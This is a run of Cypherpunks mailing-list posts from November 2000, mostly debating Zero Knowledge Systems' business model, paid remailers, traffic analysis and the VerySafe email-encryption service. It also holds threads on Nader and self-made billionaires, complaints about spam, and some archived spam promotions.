In-Reply-To: <20001102103056.A980@weathership.homeport.org> References: <4.3.0.20001031100154.01638920@mail.well.com> Message-ID: At 10:14 AM -0500 11/2/00, Adam Shostack wrote: >On Wed, Nov 01, 2000 at 07:08:06PM -0500, Tim May wrote: > >| By the way, I've been curious about this "we spend time and energy >| maintaining relations with law enforcement" point for a while. In >| numerous comments I've seen this mentioned. >| >| Why do you spend any of your valuable time talking to law enforcement/ > > Because if we don't, then they get confused about what we're >trying to accomplish, they forget that privacy has lots of valuable >uses which are not the collapse of governments and tax revenue, and >try to ban what we're doing. And then they go talk to Parliment to >get laws passed. We see that as a bad thing. Indeed. But it sort of undermines the argument we heard a few years back that the main reason ZKS was locating in Canada was because of Canada's greater freedom in crypto matters! Many of us thought this was jive, of course, as Canada was only nominally more free in certain areas involving crypto export...and this largely because it was choosing to go a different way than its usual puppetmaster to the south. Once the Canadian government decided that unfettered strong crypto was dangerous, it would likely move swiftly and without the 200+ years of First and Fourth Amendment cases to deter the outlawing of strong crypto. While Canada has not banned strong crypto, EU countries seem to be moving in that direction. And if strong crypto is not affected by law in Canada, just what does "try to ban" mean? I wonder if Jim McCoy and his associates working on Mojo Nation are being called on by legislators and cops? My guess is not. Maybe there's still time for ZKS to pull up stakes and move to the Caribbean. Or to cypherspace. > > >Feel free, if you know what the market wants. I'm curious >if you'll be running a node yourself? Not in the near future. I have only a 28.8 dial-up connection out where I live, in the Santa Cruz Mountains. Too far from the CO (Central Office) for DSL, though this may change next summer. No cable modem service. I looked into DirectTV/DirectPC/Gideon satellite service, but this still requires a dial-up line for half of the session, which rules out 2-way serving of pages or Freedom traffic. If I had fast Internet service, I might even be willing to buy one of the ZKS-packaged Windows or Linux machines. As you all know, I favor Macs. OS X looks like a good platform, as it is of course based on Mach/BSD/etc. (BTW, I suggest you look at current Mac OS support plans in this light.) Some friends of mine have installed the Freedom server. One of them tells me that since ZKS is unaware of the traffic flowing, as per the basic design goals, that he is working on running other traffic and still being paid for it. (I'll ask him tonight what exactly he means by this...) > Actually, I'm unconvinced that even pipenet style padding is >sufficient. Looking at the work on traffic analysis thats been done, >we're in about 1970. We have one time pads (dc-nets), and some other >stuff, but we don't have a DES to analyze. We have an adversary who >has spent a long time learning how to do this well. I don't disagree with this. I'm not saying much more robust systems are not needed. What I'm saying is that there's a "disconnect" between which types of nyms are allowed by ZKS, in terms of the T&C and the blather about cancelling nyms for abuse, and the threat model. Little girls surfing to the Barney site are not going to face sophisticated correlation attacks. As Lucky said, there's an interesting issue of whether ZKS has missed its market. Not strong enough, or not "allowed," for the most extreme users of pseudonymity, but too strong and too expensive for the vast bulk of the target audience. I have other problems with the rate model which I hope to discuss soon in more detail. Basically, charging $50 a year for "all you can eat" is a crude model as compared to pay-per-use services. And this poor rate model arises because, naturally enough, ZKS wishes to make money. Great, but it's still a crummy rate model. Paid remailers solve the problem in more than one way. First, no prepaid nyms are needed. Only digital cash (for the tokens or "stamps") is needed. Second, those who use the services more, pay more. Third, rate competition for remailing. Fourth, no centralized infrastructure is needed. Fifth, no point of attack. Sixth, no need to "jawbone" with lawmakers in Latvia, Germany, Canada, California, Zambia, or wherever. Seventh, robustness is in the hands of those who distribute remailers. Eighth, a low-cost expansion curve. No need for a centralized company with high burn rates. Incremental addition of boxes. (Not sure if N of the remailers have been compromised? Add more hops. Hop stuff through your own controlled remailers. Use temporary fire-and-forget remailers hosted on other machines. Expand the universe of nodes. More chains, more hops.) I can't help thinking that a tiny fraction of what ZKS has spent could have ironed out the relatively small problems with paid remailers, with making Mixmaster clients more robust, etc. The key ingredient to incentivize remailer box operators has always been digital cash. Digital cash means the "buy five nyms and then use the system as much as you want" model is not needed. It means no centralized nexus is needed. Mojo Nation looks to be headed in this direction. (I assume everyone knows that Mojo can be spent on remailings?) --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From alan at clueserver.org Thu Nov 2 15:02:47 2000 From: alan at clueserver.org (Alan Olsen) Date: Thu, 2 Nov 2000 15:02:47 -0800 (PST) Subject: CDR: Re: FW: BLOCK: AT&T signs bulk hosting contract with spammers In-Reply-To: Message-ID: On Thu, 2 Nov 2000, Kevin Elliott wrote: > At 07:40 -0800 11/1/00, James Wilson wrote: > >If any of you get services from AT&T you might want to start looking for a > >more ethical carrier (if one exists) - AT&T has been caught red handed > >hosting spammers and promising not to terminate their services. > > You know, I don't like spammers any more than the next guy, but come > on. Unethical? we're not talking genocide and it's not like it > cause significant (heck, even measurable) harm. As long as they are honest about where they are coming from. However, spammers have a nasty habit of lying about their return address. (And the sysadmin of that domain gets to wade through the mountains of shit-mail and hell caused by pissed off people.) Either that or they hijack open relays and cause those servers to crawl to their knees, as well as the above headaches for the site admins of the effected servers. I have had to clean up the mess from a couple of spammers doing the above. (As well as the problems caused by clueless sales people at a company I once worked for.) Not fun. alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys. "In the future, everything will have its 15 minutes of blame." From k-elliott at wiu.edu Thu Nov 2 13:32:03 2000 From: k-elliott at wiu.edu (Kevin Elliott) Date: Thu, 2 Nov 2000 15:32:03 -0600 Subject: CDR: Re: Parties In-Reply-To: References: Message-ID: At 16:52 -0600 10/30/00, Jim Choate wrote: >On Mon, 30 Oct 2000, A. Melon wrote: >The acceptance by the rank and file of Lincoln's 'fundamental law of >nations'. This has laid the basic groundwork for the ever >increasing 'federalism' (and as a consequence socialism/fascism). Lincoln's fundamental law of nations? >An increase in technology that has placed the ability to harm a large >group of poeple in the hands of the individual like no previous time in >history. *sigh*. I'm personally of the opinion that the total amount of damage the human race has been able to do to itself as a percentage of the population has remained essentially constant. Let me rephrase that... The total amount of damage the human race is doing to itself as a percentage of the population has remained constant. Any increase in destructive potential has been met with a commensurate increase in population and a decline in our willingness to use those tools. We may be able to kill millions today but 10,000 years ago that wasn't much less than the world population. -- "As nightfall does not come at once, neither does oppression. In both instances, there is a twilight when everything remains seemingly unchanged. And it is in such twilight that we all must be most aware of change in the air--however slight--lest we become unwitting victims of the darkness." -- Justice William O. Douglas ____________________________________________________________________ Kevin "The Cubbie" Elliott ICQ#23758827 From k-elliott at wiu.edu Thu Nov 2 13:39:43 2000 From: k-elliott at wiu.edu (Kevin Elliott) Date: Thu, 2 Nov 2000 15:39:43 -0600 Subject: CDR: Re: FW: BLOCK: AT&T signs bulk hosting contract with spammers In-Reply-To: References: Message-ID: At 07:40 -0800 11/1/00, James Wilson wrote: >If any of you get services from AT&T you might want to start looking for a >more ethical carrier (if one exists) - AT&T has been caught red handed >hosting spammers and promising not to terminate their services. You know, I don't like spammers any more than the next guy, but come on. Unethical? we're not talking genocide and it's not like it cause significant (heck, even measurable) harm. -- "As nightfall does not come at once, neither does oppression. In both instances, there is a twilight when everything remains seemingly unchanged. And it is in such twilight that we all must be most aware of change in the air--however slight--lest we become unwitting victims of the darkness." -- Justice William O. Douglas ____________________________________________________________________ Kevin "The Cubbie" Elliott ICQ#23758827 From weidai at eskimo.com Thu Nov 2 13:06:01 2000 From: weidai at eskimo.com (Wei Dai) Date: Thu, 2 Nov 2000 16:06:01 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <20001102103056.A980@weathership.homeport.org>; from adam@homeport.org on Thu, Nov 02, 2000 at 10:14:24AM -0500 References: <4.3.0.20001031100154.01638920@mail.well.com> <20001101181628.A25757@weathership.homeport.org> <20001102103056.A980@weathership.homeport.org> Message-ID: <20001102130531.A17295@eskimo.com> On Thu, Nov 02, 2000 at 10:14:24AM -0500, Adam Shostack wrote: > Actually, I'm unconvinced that even pipenet style padding is > sufficient. Looking at the work on traffic analysis thats been done, > we're in about 1970. We have one time pads (dc-nets), and some other > stuff, but we don't have a DES to analyze. We have an adversary who > has spent a long time learning how to do this well. I'd prefer if people talked about PipeNet style traffic scheduling instead of PipeNet style traffic padding. What's really important to PipeNet security is that the timing of packets don't leak information, and padding is just a part of what's necessary to achieve that kind of timing. So I'd agree with you that padding by itself isn't sufficient, but I'd be interested in hearing more if you think PipeNet as a whole isn't sufficient. From declan at well.com Thu Nov 2 13:12:24 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 2 Nov 2000 16:12:24 -0500 Subject: CDR: Re: Nader In-Reply-To: ; from tcmay@got.net on Thu, Nov 02, 2000 at 09:53:31AM -0800 References: <20001102110055.A32074@cluebot.com> <20001102093044.C14857@ideath.parrhesia.com> Message-ID: <20001102161224.A2992@cluebot.com> On Thu, Nov 02, 2000 at 09:53:31AM -0800, Tim May wrote: > Yep, I heard that he has a multimilllionaire position just in Cisco > alone. As you said, good for him. (Frankly, anyone who was in the > working force in the late 50s, early 60s, as Nader was, and who lived > parsimoniously in a rooming house for all those years had BETTER be a > multimillionaire!) Nader lives in a Dupont Circle townhouse owned by his sister and reportedly worth millions. (Given land prices in that area of DC, it has to be worth at least $1 million.) Ironically, Cisco has been targeted by the Feds for antitrust violations. Somehow, Nader never got around to beating up on them though he's happy to do it to nearly every other high tech firm. -Declan From George at orwellian.org Thu Nov 2 13:29:59 2000 From: George at orwellian.org (George at orwellian.org) Date: Thu, 2 Nov 2000 16:29:59 -0500 (EST) Subject: CDR: Continuing: White House email mystery Message-ID: <200011022129.QAA09417@www6.aa.psiweb.com> There was a blurb about the non-backed-up emails somewhere... Apparently, many more are missing than was originally told the judge. Oh! [hits head] Of course: judicialwatch.org will have the links... [ oh my gawd, Albright was just on TV, and I thought for a moment she was Halloween-dressed as Grandpa Munster! ] Here are the new URLS: http://www.washingtonpost.com/wp-srv/aponline/20001031/aponline185112_000.htm http://judicialwatch.org/press_release.asp?pr_id=670 http://www.judicialwatch.org/otherserver/2000/wt110100.gif From bentj93 at itsc.adfa.edu.au Wed Nov 1 21:43:32 2000 From: bentj93 at itsc.adfa.edu.au (BENHAM TIMOTHY JAMES) Date: Thu, 2 Nov 2000 16:43:32 +1100 (EST) Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: from "Jim Choate" at Nov 01, 2000 11:47:12 PM Message-ID: <200011020543.eA25hW001103@octarine.itsc.adfa.edu.au> > > > On Wed, 1 Nov 2000, Greg Broiles wrote: > > > I'm aware of one example of a similar use in a NASDAQ-listed FDA-regulated > > pharmaceutical company, where they have a staff of "document czars" who > > are the only ones empowered to produce, edit, and maintain archives of > > documents considered especially critical to their intellectual property > > and/or research and production records required to gain and keep FDA > > listing for their products. I get the impression that's standard practice > > in the industry; and probably standard practice anywhere, where the > > continued availability (or confidentiality) of documents can turn into > > gains or losses in the $100M - $10B range. > > Document translation, especialy patent and trademark, Also draft contracts and agreements... From apoio at giganetstore.com Thu Nov 2 11:04:39 2000 From: apoio at giganetstore.com (apoio at giganetstore.com) Date: Thu, 2 Nov 2000 19:04:39 -0000 Subject: CDR: =?iso-8859-1?Q?O_ZOO_de_Lisboa_est=E1_na_Giganetstore.com?= Message-ID: <04de339041902b0WWWNETSTORE@wwwnetstore> Desta vez a giganetstore.com tem uma surpresa muito especial para si... Golfinho gigapreço 8.900$00 Jogo Zoo gigapreço 4.900$00 Leão gigapreço 29.900$00 Livro do Zoo gigapreço 2.990$00 Relógio Bolha de Água gigapreço 2.900$00 Tshirt Zoo gigapreço 7.900$00 Enc.Ciências Natureza gigapreço 6.900$00 Enciclopédia da Natureza gigapreço 10.500$00 EyewitnessVirtualReality: Bird gigapreço 4.900$00 EyewitnessVirtualReality: Cat gigapreço 4.900$00 MuseuVirtualAves gigapreço 9.450$00 Rain Forest gigapreço 4.990$00 NationalGeographic - 70 gigapreço 8.250$00 NationalGeographic 80-90 gigapreço 8.250$00 NationalGeographic 40-50 gigapreço 8.250$00 Quer ajudar o ZOO de Lisboa? CLIQUE AQUI!! UM DIA NO ZOO... ....... ................. ...................... .... Para retirar o seu email desta mailing list deverá entrar no nosso site http://www.giganetstore.com , ir à edição do seu registo e retirar a opção de receber informação acerca das nossas promoções e novos serviços. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 6936 bytes Desc: not available URL: From hseaver at harmon.arrowhead.lib.mn.us Thu Nov 2 17:32:29 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Thu, 02 Nov 2000 19:32:29 -0600 Subject: CDR: VerySafe? Message-ID: <3A0215A7.28CB6B93@harmon.arrowhead.lib.mn.us> Has this been discussed on the list in recent (or even ancient) memory? If so, I can't recall it, and looked thru my own archives going back a couple years and didn't find it. http://www.verysafe.com/ From ravage at ssz.com Thu Nov 2 18:27:13 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 2 Nov 2000 20:27:13 -0600 (CST) Subject: CDR: Re: any good idea? In-Reply-To: <003b01c0446f$92a947c0$c001a8c0@Kenix> Message-ID: On Thu, 2 Nov 2000, Kenix wrote: > suppose we have two numbers, one is serial added(about 8~10 digits), > another is a random number(about 7~12 digits), then how can i generate a 5 > digits number depends on both of them? there shouldn't have any key so i can > verify the 5-digit number later just use the pervious two numbers, i know > the security is completely depends on the method that how to generate this > 5-digit number. > any good method you all can hint me? any good random number generator? It's rather obvious, but: ABmod(b^n) Where A and B are your seeds/keys. b is the number of elements in the alphabet. n is the number of digits you want in the answer. You could add a trusted hashing function in there as well, (Hash(AB))mod(b^n) Hope it helps. As to random number generators, I'm fond of the radioactive and the physicaly chaotic sort (they tend to be non-transportable and rather large). Drip rate and magnetic pendulums being my favorite. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From bear at sonic.net Thu Nov 2 21:40:43 2000 From: bear at sonic.net (Ray Dillinger) Date: Thu, 2 Nov 2000 21:40:43 -0800 (PST) Subject: CDR: Re: Nader In-Reply-To: Message-ID: On Thu, 2 Nov 2000, Tim May wrote: >>no matter how good you are. You can get rich enough to live off your >>investments, sure -- but reaching the billionaire league is a multi- >>generational project. > >This is not true. Most billionaires in the United States did it in a >single generation. On the Fortune list of billionaires, most made the >money by starting companies. Only a handful are heirs. Most of them come from well-to-do families rather than filthy rich families, that's true. But few or none come from blue collar or really poor families. Besides, my goal isn't having a one-percent chance of becoming a billionaire; the people you're pointing at rode the venture capital rocket, and for each of the one-generation people on that list, ninety-nine others went flat broke and deep into debt trying to do the same thing. The multi- generational plan I have in mind is building up by investment and hard work, not by riding the crash-prone venture capital rocket. >Nothing wrong with indentured servitude. You can read some pieces I >wrote about this many years ago, circa '93-94. The archives should >have them. Where are all of the archives? I have only found the ones on venona, and they are incomplete. Bear From tcmay at got.net Fri Nov 3 00:27:34 2000 From: tcmay at got.net (Tim May) Date: Fri, 3 Nov 2000 00:27:34 -0800 Subject: CDR: Re: Nader In-Reply-To: References: Message-ID: At 9:40 PM -0800 11/2/00, Ray Dillinger wrote: >On Thu, 2 Nov 2000, Tim May wrote: > >>>no matter how good you are. You can get rich enough to live off your >>>investments, sure -- but reaching the billionaire league is a multi- >>>generational project. >> >>This is not true. Most billionaires in the United States did it in a >>single generation. On the Fortune list of billionaires, most made the >>money by starting companies. Only a handful are heirs. > >Most of them come from well-to-do families rather than filthy >rich families, that's true. But few or none come from blue >collar or really poor families. Of three billionaires I can think of off-hand, all came from poor families. For example, Gordon Moore of Intel. Grew up in a fishing village, Pescadero, halfway between Santa Cruz and San Francisco. Modest means. (And his partner in forming Intel, Bob Noyce, now deceased, grew up on a farm in Iowa.) For example, Larry Ellison of Oracle. Grew up dirt poor in the midwest (Chicago, I believe, or some city similar to Chicago). These are two out of the top 5. Add to this Jim Bidzos, a near-billionaire from his Verisign holdings alone. Poor, enlisted in Marines, etc. And there's the guy who hired me into Intel in 1974, a poor kid from the poor side of the tracks, name of Craig Barrett. Now CEO of Intel and worth several hundred millions. (Oh, and Andy Grove, Hungarian refugee, arriving penniless in 1956-7.) And look to Warren Buffet, Sam Walton, and a slew of others. I'd say your "few or none" point has been decisively disproved by example. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From bill.stewart at pobox.com Thu Nov 2 21:30:35 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Fri, 3 Nov 2000 00:30:35 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> References: Message-ID: <3.0.5.32.20001102111221.009c3a00@idiom.com> At 03:56 PM 11/1/00 -0500, David Honig wrote: >(Now, it may be 'sad' that ZKS has changed its bizmodel to service >businesses that need locks in series, but I'm only interested in >whether its rational to universally denounce any locks-in-series >architectures.) We need to be careful not to let GAKKers define our perspectives. Locks-in-series is a much different problem than locks-in-parallel, which is the usual GAK/CorporateGAK model. (Or alternatively, user-locks-in-parallel-with-(GAK-locks-in-series), so it takes two corporate officers to agree to eavesdrop.) Locks-in-series are often are solutions to increasing privacy, not decreasing it. For example, especially in the health care business, current practice is that just about anybody can get at all of customer data, and there's a real need for privacy protection technology that puts stricter controls on people getting at data they do or don't need to know. In the US, where we don't have the benefit of Canadian Health Care (:-), the US government's Medicare requirements and tax policies have pushed insurance companies to use Social Security Numbers as their customer-ID numbers, and pushed businesses to use SSNs as their interface to the insurance companies, and doctors to use SSNs since they need to deal with insurance. Even locks-in-parallel on data can provide more privacy than the current screen-doors-on-data level of protection. In spite of the usual PR behaviour that has PR people vaguely paraphrasing things that might have been technical concepts once, there are times you *really* need to let the technical people vet press releases before letting them out the door, or the crypto or privacy people will ream you badly :-) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From easywinning_support at cheetahmail.com Thu Nov 2 16:44:32 2000 From: easywinning_support at cheetahmail.com (EasyWinning) Date: Fri, 3 Nov 2000 00:44:32 -0000 Subject: CDR: Want a chance to win $31,000,000? Message-ID: <973209398_60695226_0006.3521@mta1.cheetahmail.com> Dear fgjfgj, You have received this special, FREE chance to win $31,000,000 as you indicated that you would like to receive special offers and promotions via email from EasyWinning like this one. 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Even better, it’s all free. http://www.cheetahmail.com/a/tA6Af82ADnWT.ADniK6AB-tbSGf/ezh1 Take one minute to register with JobsOnline and you will be eligible to win up to $31,000,000! http://www.cheetahmail.com/a/tA6Af82ADnWT.ADniK6AB-tbSGf/ezh1 REGISTER HERE http://www.cheetahmail.com/a/tA6Af82ADnWT.ADniK6AB-tbSGf/ezh1 If you no longer wish to receive special promotions from EasyWinning via email, send a message to mailto:remove-33478354-a60695226-pumnjobm2st4k at cheetahmail.com. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 2907 bytes Desc: not available URL: From mix at mixmaster.ceti.pl Thu Nov 2 16:40:01 2000 From: mix at mixmaster.ceti.pl (Anonymous Remailer) Date: Fri, 3 Nov 2000 01:40:01 +0100 (CET) Subject: CDR: ZKS and Ebola Message-ID: <05207e50a5a5165ed492d10af1197446@mixmaster.ceti.pl> Few points, in the wake of current ZKS-sold-out-no-we-did-not discussions. First, do we all agree who the adversary is when ZKSs customer encrypts traffic ? Is that the neighbor, the employer, the insurance company, ISP, Microsoft, her husband, or the government ? All entities on this list except one can be effectively neutralized with single-DES and free Anonymizer.com access. The government is the only one that can do decent multi-network tracing and break some ciphers. One needs ZKS because one wants to get protection from the government. Many crypto startups try to live in denial about this basic fact, and attempt to bank on fears from "hackers", wifes and similar. That is all bullshit. We need good crypto and good anonymity because we do not want governments to listen on us. Wives, bosses and ISP droids can be taken care of with freeware that can be easily found. Government has to know what goes around, very much like living organisms need immune system to detect undesired entities and then kill them. In order to kill, one must detect first. And that is why governments will never allow effective (1) crypto, that is except suicidal governments. The first use of effective crypto will be to replace government-based money with private currencies and so reduce the cost of doing business by removing the tax part. Governments exist because a) they can see the money, b) they can force you to use it and c) they can take it away ("tax"). What do you think the reaction of armed thugs will be when they find out that they will not be able to do a, b c ? They will call the CEO of crypto provider for a friendly chat. Crypto+anonymity is AIDS for the government. It disables the immune system and will eventually kill the creature. Thinking that the creature will tolerate virus generators within its own corporate establishment is just plain silly, Canada or not. Now, Zanzibar is a different story - look it up. (1) by "effective" I assume the one that achieves the goal - hard AND widespread AND anonymous. PGP may be "hard" crypto, but it is used by irrelevant percentage of population. From nobody at remailer.privacy.at Thu Nov 2 18:30:04 2000 From: nobody at remailer.privacy.at (Anonymous) Date: Fri, 3 Nov 2000 03:30:04 +0100 Subject: CDR: ZKS and Ebola Message-ID: On Fri, 3 Nov 2000, Anonymous Remailer wrote: > Few points, in the wake of current ZKS-sold-out-no-we-did-not > discussions. > > First, do we all agree who the adversary is when ZKSs customer encrypts > traffic ? > > Is that the neighbor, the employer, the insurance company, ISP, > Microsoft, her husband, or the government ? All entities on this list > except one can be effectively neutralized with single-DES and free > Anonymizer.com access. The government is the only one that can do decent > multi-network tracing and break some ciphers. One needs ZKS because one > wants to get protection from the government. It seems to me that the list of adversarys is longer than you think. Don't forget we're living in a world where corporations are as big economically as small countries. The insurance company, ISP, Microsoft, and possibly employer can afford a DES cracker. The ISP is obviously on the direct path for interception, as is the employer if she's using the internet at work. Microsoft presumably has some nice backdoors built in as well. Although many of these entities have don't a burning desire to know what you're doing online, this isn't always the case, especially in a world where your ISP is also a content provider who wants to make sure you're not infringing it's copyright, your insurance company wants to know when you do a google search on "AIDS" and your employer wants to keep you from selling secrets to competitors. From gbroiles at netbox.com Fri Nov 3 06:15:15 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Fri, 3 Nov 2000 06:15:15 -0800 Subject: CDR: Re: VerySafe? In-Reply-To: <973254633.3a02afe95147b@webmail.cotse.com>; from brflgnk@cotse.com on Fri, Nov 03, 2000 at 07:34:27AM -0500 References: <973254633.3a02afe95147b@webmail.cotse.com> Message-ID: <20001103061514.F14857@ideath.parrhesia.com> On Fri, Nov 03, 2000 at 07:34:27AM -0500, brflgnk at cotse.com wrote: > Real-To: brflgnk at cotse.com > > Harmon said: > I'm just amazed that with all the > flack about ZK, something even worse goes unnoticed. Or are there so many of > these pseudo-secure outfits that it would be a waste of bandwidth to > comment. > -- end quote -- > > I think that's it exactly. Doesn't look like VerySafe is bringing anything new > to the table. PGP already does self-decrypting files, and has better support > than just an Outlook plugin. Self-decrypting (and self-anything files that need executable permission) are tragedies waiting to occur. People who aren't technical enough to install their own copies of PGP shouldn't be encouraged to run unknown email attachments, no matter what the associated pretty icon looks like. Of course, for the email to become known in any meaningful way - say, with a digital signature created by a trusted correspondent - requires the same computation (or a close analog) that the self-decryption would perform. The "I LOVE YOU" (which sent messages from known correspondents) should eliminate any hope that the people who create malicious programs aren't smart enough to take advantage of local data like address books when propagating bad code. -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From hseaver at harmon.arrowhead.lib.mn.us Fri Nov 3 04:15:54 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Fri, 3 Nov 2000 07:15:54 -0500 Subject: CDR: Re: VerySafe? References: <3A0215A7.28CB6B93@harmon.arrowhead.lib.mn.us> <3A0282AD.FC07EC87@ricardo.de> Message-ID: <3A02AC67.98AF68D1@harmon.arrowhead.lib.mn.us> Agreed, it's clearly not a solution -- I'm just amazed that with all the flack about ZK, something even worse goes unnoticed. Or are there so many of these pseudo-secure outfits that it would be a waste of bandwidth to comment. I thought it also interesting that if you try to go to their site with java turned off, you get nothing but a blank, white page. Or maybe that's just in netscape. Tom Vogt wrote: > Harmon Seaver wrote: > > > > Has this been discussed on the list in recent (or even ancient) > > memory? If so, I can't recall it, and looked thru my own archives going > > back a couple years and didn't find it. > > > > http://www.verysafe.com/ > > why in all hell would you want to do such a thing with a proprietary, > closed-source, outlook-only solution if you can do all of it with PGP? > > and how much difference is there between using a plugin and using PGP? > to the end-user, it's all magic anyways. From netsurf at sersol.com Fri Nov 3 07:27:23 2000 From: netsurf at sersol.com (James Wilson) Date: Fri, 3 Nov 2000 07:27:23 -0800 Subject: CDR: RE: FW: BLOCK: AT&T signs bulk hosting contract with spammers In-Reply-To: Message-ID: A non-text attachment was scrubbed... Name: not available Type: application/pgp Size: 2483 bytes Desc: not available URL: From brflgnk at cotse.com Fri Nov 3 04:34:27 2000 From: brflgnk at cotse.com (brflgnk at cotse.com) Date: Fri, 3 Nov 2000 07:34:27 -0500 Subject: CDR: Re: VerySafe? Message-ID: <973254633.3a02afe95147b@webmail.cotse.com> Harmon said: I'm just amazed that with all the flack about ZK, something even worse goes unnoticed. Or are there so many of these pseudo-secure outfits that it would be a waste of bandwidth to comment. -- end quote -- I think that's it exactly. Doesn't look like VerySafe is bringing anything new to the table. PGP already does self-decrypting files, and has better support than just an Outlook plugin. On top of that, all mail is mediated through the VerySafe server, so traffic analysis is built in, along with key escrow (your keys are generated by the server) and maybe even content escrow. From rah at shipwright.com Fri Nov 3 04:38:17 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Fri, 3 Nov 2000 07:38:17 -0500 Subject: CDR: okay, out on the street... Message-ID: --- begin forwarded text From mollybh at pop.netspace.net.au Fri Nov 3 04:50:13 2000 From: mollybh at pop.netspace.net.au (molly hankwitz) Date: Fri, 3 Nov 2000 07:50:13 -0500 Subject: okay, out on the street... Message-ID: Every Sunday in 2000 after Thanksgiving Day, the Surveillance Camera Players will lead a Surveillance Camera Outdoor Walking Tour (or SCOWT for short) of a neighborhood in New York City. Three different SCOWTS have been scheduled; others may follow in 2001. Each SCOWT includes a general introduction to the emerging surveillance society as well as a choice selection of video cameras that surveill public space. $10 donation per each person. Each tour lasts about 90 minutes and is undertaken rain or shine. No reservations needed. Call 212 561 0106 for more information. SCP web site: http://www.notbored.org/the-scp.html e-mail: notbored at panix.com Sunday 26 November 2000: SCOWT #1 Times Square and Turtle Bay. Meet south side of Duffy Square, on 46th Street between Broadway and Seventh Avenue. 2 pm sharp. Sunday 3 December 2000: SCOWT #2 Fifth Avenue. Meet on Fifth Avenue, at the intersection with 46th Street, northwest corner. 2 pm sharp. Sunday 10 December 2000: SCOWT #3 City Hall and Washington Square Park. Meet on Broadway (next to City Hall) at the stairs leading down to the N/R subway. 2 pm sharp. Sunday 17 December 2000: SCOWT #1 Times Square and Turtle Bay. Meet south side of Duffy Square, on 46th Street between Broadway and Seventh Avenue. 2 pm sharp. Sunday 24 December 2000: SCOWT #2 Fifth Avenue. Meet on Fifth Avenue, at the intersection with 46th Street, northwest corner. 2 pm sharp. Sunday 31 December 2000: SCOWT #3 City Hall and Washington Square Park. Meet on Broadway (next to City Hall) at the stairs leading down to the N/R subway. 2 pm sharp. mh:>) ----- End forwarded message ----- # distributed via : no commercial use without permission # is a moderated mailing list for net criticism, # collaborative text filtering and cultural politics of the nets # more info: majordomo at bbs.thing.net and "info nettime-l" in the msg body # archive: http://www.nettime.org contact: nettime at bbs.thing.net --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From rah at shipwright.com Fri Nov 3 05:03:01 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Fri, 3 Nov 2000 08:03:01 -0500 Subject: CDR: While we're talking about income mobility... (was Re: ip: NCPA Policy Digest 11-2-00) In-Reply-To: <3.0.6.32.20001102105259.0079f350@mail.telepath.com> References: <3.0.6.32.20001102105259.0079f350@mail.telepath.com> Message-ID: At 10:52 AM -0600 on 11/2/00, National Center for Policy Analysis wrote: > UP AND DOWN THE INCOME LADDER > > Politicians addicted to class warfare rhetoric use the term "the > rich" as though it were some permanent economic class. But more > moderate analysts point out that individuals move up and down > the income ladder with startling frequency. > > Are those individuals with higher incomes right after graduation > from high school or college still on the top rung 10 or 20 years > later? Anyone who has attended a school reunion knows that the > end results are often surprising. > > o A Social Security-based study has documented that more > than 70 percent of male workers move significant > distances up or down the income ladder in a span of only > 15 years. > > o Earnings histories tracked by Social Security show that > less than 50 percent of the people on the top or bottom > rung in any year are still on the same rung 10 to 15 > years later. > > o On the bottom rung, the "stagnation rate" is only 35 > percent. > > o Another study, using the National Longitudinal Survey of > Youth, has revealed that 60 percent of the young people > who start out working for minimum wages no longer work > for such low wages two years later -- and only 15 percent > have minimum-wage jobs three years later. > > Some observers point out that many academics fail to appreciate > the dynamics of economic mobility because they work in rigidly > hierarchical university systems where promotion must be granted > by one's seniors. > > The evidence is overwhelming, however, that such immobility is > the exception, not the rule. > > Source: Bradley Schiller (American University School of Public > Affairs), "Who Are the Rich?" Washington Times, November 2, > 2000. > > For text > http://www.washtimes.com/op-ed/ed-column-2000112193044.htm > > For more on Income Mobility > http://www.ncpa.org/pd/economy/econ7.html -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From MGUTSHINI at aol.com Fri Nov 3 05:23:34 2000 From: MGUTSHINI at aol.com (MGUTSHINI at aol.com) Date: Fri, 3 Nov 2000 08:23:34 EST Subject: CDR: send me pictures Message-ID: From Somebody Fri Nov 3 08:41:55 2000 From: Somebody (Somebody) Date: Fri, 03 Nov 2000 08:41:55 